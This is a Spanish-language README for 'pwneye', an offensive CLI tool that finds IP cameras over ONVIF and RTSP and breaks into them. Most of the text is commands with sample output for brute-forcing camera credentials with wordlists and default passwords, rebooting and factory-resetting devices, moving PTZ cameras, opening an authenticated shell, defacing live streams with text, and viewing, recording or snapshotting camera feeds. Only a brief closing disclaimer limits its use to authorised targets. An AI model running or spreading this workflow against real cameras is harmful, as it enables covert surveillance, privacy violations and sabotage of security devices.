
Tu compañero para cámaras ONVIF y RTSP: descubre y hackea cámaras de seguridad del mundo real 🎥
pwneye es una herramienta de seguridad ofensiva centrada y portátil para trabajar con cámaras IP que exponen servicios ONVIF y RTSP, con el objetivo de ofrecer a investigadores de seguridad y hackers una forma sencilla de gestionar descubrimiento, pruebas de autenticación, recopilación de metadatos, validación de flujos, grabación y acciones de seguimiento desde un único flujo de trabajo CLI.
Algunas de las capacidades actualmente soportadas incluyen:
ffplay, grabación mediante ffmpeg y captura de instantáneas~/.pwneyehttps://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
Instala pwneye como un comando CLI a nivel de sistema desde GitHub:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
Desinstálalo:```bash
pipx uninstall pwneye
Más tarde puedes actualizarlo desde la misma fuente de GitHub:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
Actualízalo más tarde desde la misma fuente de GitHub:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### Dependencias Externas
Se espera que las siguientes herramientas estén en `PATH` dependiendo del modo que uses:
- `ffplay`
- `ffprobe`
- `ffmpeg` para grabación
| Plataforma | Comando de instalación |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## Primeros Pasos
Usa estos como los puntos de entrada más rápidos a la herramienta. El objetivo aquí no es documentar cada bandera, sino mostrar las formas más útiles de empezar a trabajar con una cámara según lo que ya sepas.
Comienza desde el flujo completo predeterminado cuando tengas un único objetivo y quieras que `pwneye` haga el trabajo de selección de protocolo por ti:```bash
pwneye -t 192.168.1.135
Empieza con el descubrimiento ONVIF cuando estés en la misma red local y quieras identificar dispositivos, fabricantes y pistas sobre los flujos antes de tocar RTSP:```bash pwneye --discover
Empieza directamente desde RTSP cuando ONVIF es irrelevante, no está disponible o ya sabes qué quieres probar:```bash
pwneye -t 192.168.1.135 --skip-onvif
Empieza con credenciales conocidas o sospechosas cuando quieras reducir el ruido y validar el acceso rápidamente:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
Comienza desde una ruta conocida o una plantilla de ruta cuando ya tengas una pista del flujo y quieras un control estricto sobre las solicitudes RTSP:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
Empieza la recopilación de evidencia una vez que se encuentre un flujo de trabajo funcional:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
Flags útiles a tener en cuenta:
- `--vendor VENDOR`: reduce las solicitudes RTSP cuando ya se conoce la familia del dispositivo
- `-cn, --connection-string PATH`: prueba una ruta RTSP conocida o un archivo que contenga rutas candidatas
- `--multi-channel`: prefiere rutas RTSP basadas en canales cuando sospechas que el objetivo es un DVR/NVR
- `--threads N`: controla la concurrencia para el bruteforce de ONVIF y RTSP
- `--skip-onvif` / `--skip-rtsp`: céntrate en un solo protocolo
- `--no-cache`: no lee ni escribe en la caché
- `--fresh`: ignora las lecturas de caché pero sigue escribiendo nuevos hallazgos
## ONVIF
ONVIF es el lado de gestión y control del mundo de las cámaras. En la práctica, es útil para el descubrimiento, la autenticación, la extracción de metadatos, la enumeración de perfiles de medios, la obtención de URI de flujos y acciones del dispositivo como el reinicio.
En `pwneye`, ONVIF suele ser el protocolo que proporciona el contexto post-autenticación más rico, el camino más claro para entender qué expone una cámara y, cuando la cuenta autenticada tiene suficientes privilegios, acceso a acciones administrativas reales en el dispositivo.
### Qué te ofrece ONVIF
Cuando una cámara expone ONVIF, `pwneye` puede usarlo para:
- descubrir cámaras en la red local mediante WS-Discovery
- probar la autenticación ONVIF usando credenciales fijas o archivos
- extraer metadatos del fabricante y del dispositivo
- recuperar las URI de flujos RTSP expuestas por el dispositivo
- enumerar contexto útil post-autenticación antes de tocar RTSP de forma más agresiva
- solicitar un reinicio autenticado con `--reboot`
- solicitar un restablecimiento de fábrica autenticado con `--reset`
- mover una cámara con capacidad PTZ desde la CLI o desde el visor dedicado
- abrir un shell interactivo autenticado con `--shell`
- alterar el flujo mediante ONVIF con `--deface`
- restaurar el último perfil de alteración guardado con `--undeface`
### Enumerando la red local
Usa WS-Discovery para identificar dispositivos compatibles con ONVIF en la red local:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
El bucle de descubrimiento sigue sondeando cada pocos segundos, imprime solo los dispositivos recién descubiertos y se puede detener con CTRL-C.
También puedes forzar el descubrimiento a través de una interfaz de red específica:```bash pwneye --discover en0 pwneye --discover eth0
Cuando no se especifica una interfaz, `pwneye` elige automáticamente la interfaz de salida predeterminada y te indica qué subred de destino está utilizando para WS-Discovery.
### Fuerza bruta de credenciales
Ejecuta fuerza bruta solo ONVIF con un nombre de usuario fijo y un archivo de contraseñas:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
Opciones útiles:
--skip-onvif: omitir la detección y enumeración de ONVIF-oP, --onvif-port PORT: probar un puerto ONVIF específico-ou, --onvif-username USER: nombre de usuario ONVIF o archivo con un nombre de usuario por línea-op, --onvif-password PASS: contraseña ONVIF o archivo con una contraseña por líneaSi no se especifican -ou y -op, pwneye recurre automáticamente a sus nombres de usuario y contraseñas ONVIF comunes integrados.
pwneye almacena en caché las credenciales ONVIF exitosas por objetivo en ~/.pwneye/cache y las reutiliza en ejecuciones futuras a menos que uses --fresh o --no-cache.
Si la autenticación ONVIF tiene éxito, puedes solicitar un reinicio directamente:``` pwneye -t 192.168.1.135 --reboot
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!
Cuando se usa `--reboot`, se omite el sondeo RTSP.
### Restablecimiento de una cámara
Si la autenticación ONVIF se realiza correctamente, también puedes solicitar un restablecimiento de fábrica directamente:```text
pwneye -t 192.168.1.135 --reset
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.
Advertencia: esta operación puede ser irreversible y puede borrar la configuración actual del dispositivo, las credenciales y los ajustes de red. Utilice --reset solo cuando comprenda completamente el impacto y esté explícitamente autorizado para realizarla.
Al igual que con --reboot, cuando se utiliza --reset, se omite el sondeo RTSP.
Si el objetivo expone controles PTZ a través de ONVIF, pwneye puede mover la cámara tanto desde la terminal como desde el visor en vivo dedicado.
Desde la CLI, utilice --move con direction,duration. La bandera se puede repetir, y los movimientos solicitados se ejecutan en secuencia mientras se omite el sondeo RTSP:```bash
pwneye -t 192.168.1.135 --move right,2
pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3
pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3
Las direcciones aceptadas son:
- `left` o `l`
- `right` o `r`
- `up` o `u`
- `down` o `d`
Ejemplo:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1
...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...
[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!
Dentro del visor dedicado, si se admite PTZ, la vista enfocada también te permite mover la cámara de forma interactiva con W, A, S y D. Esto resulta útil cuando ya tienes un flujo funcional y deseas una retroalimentación visual directa mientras ajustas el dispositivo.
Si la autenticación ONVIF se realiza correctamente, pwneye también puede intentar alterar el flujo directamente:```bash
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
Qué hace `--deface`, en resumen:
- primero comprueba si el objetivo admite el oscurecimiento de la transmisión mediante ONVIF Imaging
- también comprueba si el objetivo expone capas de texto ONVIF reutilizables
- si ambas están disponibles, `pwneye` realiza un deface completo
- si solo una está disponible, `pwneye` advierte al usuario y ofrece un deface parcial en su lugar
- antes de cambiar nada, `pwneye` guarda un perfil de restauración para el objetivo en `~/.pwneye/cache`
La implementación es intencionalmente conservadora y compatible con los fabricantes:
- para el paso de oscurecimiento, `pwneye` reduce los controles de imagen compatibles, como brillo, contraste y saturación, en lugar de depender de trucos específicos del fabricante
- para el paso de texto, `pwneye` reutiliza las capas de texto ONVIF existentes y escribibles en lugar de crear o eliminar nuevas entradas OSD
- esto hace que la función sea más compatible entre diferentes familias de cámaras, incluso si el resultado visual final aún depende del firmware
Ejemplo:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Si una ejecución anterior de --deface guardó un perfil de restauración para el objetivo, pwneye puede usarlo para restaurar el estado ONVIF original:```bash
pwneye -t 192.168.1.135 --undeface
Qué hace `--undeface`, en resumen:
- busca un perfil de restauración de deface guardado previamente en la entrada de caché del objetivo
- si no existe ningún perfil, se detiene inmediatamente con un error
- si existe un perfil, intenta restaurar la configuración de Imaging original y las capas de texto editables originales
- al igual que con `--deface`, el resultado final puede ser completo o parcial dependiendo de lo que el objetivo permita a través de ONVIF
El perfil de restauración no se elimina después de un `--undeface` exitoso. Permanece en la caché hasta que un futuro `--deface` lo sobrescriba con un perfil más reciente.
Ejemplo:```text
pwneye -t 192.168.1.135 --undeface
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:
Port: 80
ONVIF Username: admin
ONVIF Password: Hackerest1
[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!
Si la autenticación ONVIF tiene éxito, pwneye también puede llevarte directamente a un shell interactivo de ONVIF.
Esto es útil cuando quieres inspeccionar servicios, llamar métodos manualmente, explorar capacidades o probar operaciones específicas del objetivo sin salir del flujo de trabajo actual.
Ejemplo:```text pwneye -t 192.168.1.135 --shell
[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:
Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1
[info] Opening the interactive ONVIF shell...
This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.
[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc
## RTSP
RTSP es el lado de streaming del mundo de las cámaras. Es el protocolo que normalmente te da la ruta de vídeo en vivo, pero también es el más fragmentado: los fabricantes usan rutas diferentes, convenciones de canales, peculiaridades de autenticación y formatos de banner distintos.
En `pwneye`, el manejo de RTSP se construye en torno al descubrimiento de puertos, la captura de banners, la selección de rutas según el fabricante, la orquestación de fuerza bruta, la validación de streams, la vista previa y la grabación.
### Qué te ofrece RTSP
RTSP es la parte del flujo de trabajo que confirma si realmente puedes acceder a un stream. En `pwneye`, eso significa:
- detectar RTSP en puertos comunes o especificados por el usuario
- capturar banners e intentar identificar el fabricante automáticamente
- realizar fuerza bruta de credenciales contra rutas según el fabricante o proporcionadas por el usuario
- validar streams funcionales antes de abrirlos
- grabar streams o capturar instantáneas como evidencia
- enumerar múltiples canales cuando el objetivo se comporta como un DVR o NVR
### Identificar el fabricante
`pwneye` intentará identificar el fabricante de RTSP automáticamente mediante la captura de banners de RTSP antes de recurrir a una enumeración de rutas más amplia.
Si la identificación automática basada en banners falla y ya conoces el fabricante por un análisis previo, puedes pasarlo directamente para reducir significativamente el número de solicitudes:```bash
pwneye -t 192.168.1.135 --vendor tenda
También puedes obtener solo el banner RTSP y salir:``` pwneye -t 192.168.1.135 --skip-onvif --banner
... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0
Opciones útiles:
- `--skip-rtsp`: omitir la detección y fuerza bruta de RTSP
- `-P, --rtsp-port PORT`: probar un puerto RTSP específico
- `--vendor VENDOR`: forzar un fabricante de la base de datos RTSP
- `--list-vendors`: mostrar los fabricantes compatibles con la base de conocimiento RTSP y salir
- `--protocol tcp|udp`: elegir el transporte RTSP, el valor predeterminado es `tcp`
- `--timeout SECONDS`: tiempo de espera de RTSP, el valor predeterminado es `10`
### Fuerza bruta RTSP
Fuerza bruta RTSP con credenciales fijas:```bash
pwneye -t 192.168.1.135 --username admin --password admin
Rota solo los nombres de usuario con una contraseña fija:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10
Pruebe una cadena de conexión RTSP proporcionada por un único usuario:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"
Cargar cadenas de conexión candidatas desde el archivo:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt
Combina una ruta manual con credenciales fijas:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"
Prefiera rutas multicanal cuando el objetivo probablemente sea un DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel
Opciones útiles:
- `-u, --username USER`: nombre de usuario RTSP o archivo con un nombre de usuario por línea
- `-p, --password PASS`: contraseña RTSP o archivo con una contraseña por línea
- `-cn, --connection-string PATH`: cadena de conexión RTSP o archivo con una cadena de conexión por línea
- `--multi-channel`: preferir cadenas de conexión RTSP multicanal cuando estén disponibles
- `--threads N`: número de hilos concurrentes utilizados por el motor de fuerza bruta
Si no se especifican `-u` y `-p`, `pwneye` recurre automáticamente a sus nombres de usuario y contraseñas RTSP comunes integrados.
`pwneye` almacena en caché las credenciales RTSP exitosas y los metadatos de flujo validados por objetivo en `~/.pwneye/cache`.
Comportamiento de la caché:
- predeterminado: reutilizar hallazgos válidos en caché antes de ejecutar una fuerza bruta nueva
- `--fresh`: ignorar resultados en caché pero seguir actualizando la caché con nuevos hallazgos
- `--no-cache`: deshabilitar tanto lecturas como escrituras de caché
### Flujos Multicanal
Algunas cámaras, DVR y NVR exponen múltiples canales RTSP lógicos en lugar de una única ruta estática. Los ejemplos típicos incluyen plantillas como:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0
pwneye puede detectar esto automáticamente mientras sondea RTSP, incluso mediante el conocimiento de RTSP basado en el fabricante, pero también puedes dirigir el proceso explícitamente:
--multi-channel le indica a pwneye que prefiera rutas RTSP basadas en canales desde la base de conocimiento--connection-string te permite proporcionar tu propia plantilla de canal, incluidos marcadores de posición como {channel}pwneye puede abrir una sola transmisión o un visor dedicado de múltiples canales en una ventanaEjemplos:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt
Muestra de salida:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far
[0] Open all discovered channels in a dedicated client
[1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
[2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
[3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0
[>] Select channel (CTRL-C to exit):
Si eliges Open all discovered channels, pwneye lanza un cliente multicanal dedicado que mantiene todos los streams descubiertos dentro de una sola ventana. Cada feed se muestra en el mosaico como una vista previa en vivo, y al hacer clic en un mosaico se promueve ese canal a una vista enfocada más grande con una acción simple de Back para volver a la cuadrícula.
Por defecto, la vista previa RTSP en vivo utiliza el cliente dedicado de pwneye. Si prefieres el flujo de trabajo clásico con reproductor del sistema, puedes añadir --legacy para abrir el stream validado con ffplay.
Cuando el cliente dedicado está abierto, también puedes activar Snapshot y Record directamente desde la vista enfocada sin salir de la GUI. Esto es útil cuando quieres inspeccionar un feed primero y solo entonces decidir guardar una imagen fija o comenzar a grabar evidencia.
Abrir un stream validado con vista previa en vivo:```bash pwneye -t 192.168.1.135 --vendor tenda
Recorda un flujo RTSP validado con vista previa:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4
Captura una instantánea en lugar de una grabación completa:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg
Registrar sin abrir la ventana de vista previa:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video
...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)
Comportamiento de grabación:
--record [OUTPUT.mp4]: graba el flujo RTSP validado; si se omite, se crea un archivo con marca de tiempo en ~/.pwneye/recordings--snapshot [OUTPUT.jpg]: guarda un fotograma fijo del flujo RTSP validado; si se omite, se crea un archivo con marca de tiempo en ~/.pwneye/snapshots--no-video: omite la vista previa en vivo y la decodificaciónSnapshot y Record directamente en la vista enfocada~/.pwneye/recordings/<target>/~/.pwneye/snapshots/<target>/Si pwneye fuera un videojuego, estos son probablemente los consejos que verías en la pantalla de carga:
--discover funciona en la red local, úsalo primero. La información del proveedor, los metadatos del dispositivo y los hallazgos en caché pueden hacer que el trabajo RTSP posterior sea mucho más silencioso y fiable.--skip-rtsp en lugar de golpear RTSP directamente y hacer que el flujo sea inestable. Cuando pwneye encuentra credenciales ONVIF válidas, intentará reutilizarlas automáticamente en RTSP.--vendor explícitamente. Reduce las solicitudes y puede ayudar a mantener estables los objetivos frágiles.--connection-string en lugar de una enumeración RTSP amplia. Te da un control más estricto sobre el conjunto de solicitudes y hace que los fallos sean más fáciles de interpretar.--multi-channel o una plantilla de canal manual antes de asumir que solo expone un único flujo.Un agradecimiento especial a @kaburagisec por onvif-python, la biblioteca ONVIF utilizada por pwneye.
Hizo que el lado ONVIF de este proyecto fuera mucho más fácil y fiable.
Gracias a Darix Deros por ayudar durante las pruebas y por compartir varias sugerencias útiles que mejoraron partes de la herramienta, incluido el flujo de trabajo de detección ONVIF.
Usa pwneye solo contra activos que te pertenecen o para los que tienes autorización explícita de evaluación.
Esta herramienta puede enumerar servicios, probar autenticación, abrir flujos, grabar video, interactuar con funciones administrativas de ONVIF y, con privilegios suficientes, reiniciar, restablecer, alterar o modificar de otro modo el comportamiento de un dispositivo objetivo.
Incluso cuando tu objetivo es solo la recopilación de evidencia, el sondeo RTSP repetido puede hacer que las cámaras frágiles sean inestables, y las acciones ONVIF pueden tener un impacto operativo inmediato.
Este proyecto se distribuye bajo la Licencia GNU GPL3.
Consulta LICENSE.md.
--reboot